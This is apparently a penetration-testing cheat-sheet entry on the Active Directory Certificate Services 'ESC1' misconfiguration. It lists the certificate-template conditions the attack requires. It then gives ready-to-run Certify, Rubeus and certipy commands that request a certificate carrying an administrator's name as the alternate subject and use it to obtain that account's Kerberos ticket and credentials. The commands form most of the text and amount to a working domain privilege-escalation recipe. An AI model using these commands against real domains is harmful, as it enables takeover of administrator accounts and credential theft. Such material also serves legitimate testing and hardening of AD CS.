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ESC1

For this technique to work we need a certificate template with the following requirements:

  • ENROLLEE_SUPPLIES_SUBJECT attribute enabled: this allows the user that initialized the CSR (certificate request) to specify any SAN (subjectAltName) allowing us to request a certificate as any user in the domain
  • at least one of the following EUK OIDs: Smart Card Logon / PKINIT Authentication / Client Authentication
  • a user that with enrollment rights

Windows

Certificate Request with alternative SAN

PS /home/bobbuilder> .\Certify.exe request /ca:LAB-DC.lab.local\lab-LAB-DC-CA /template:Template1 /altname:administrator@lab.local

Convert the certificate PEM to pfx

Certificate Authentification

PS /home/bobbuilder> .\Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /getcredentials /nowrap

Linux

Certificate Request with alternative SAN

bobbuilder$ certipy req -u user1@local.lab -p "pass1" -ca lab-LOCAL-DC-CA -template Template1 -upn administrator@local.lab -dc-ip 10.10.10.10

bobbuilder$ certipy req -u user1@local.lab -p 'pass1' -ca lab-LOCAL-DC-CA -upn Administrator -template Template1 -dc-ip 10.10.10.10

Note: If we get an error: The NETBIOS connection with the remote host timed out, just try again.

Certificate Authentification

bobbuilder$ certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10
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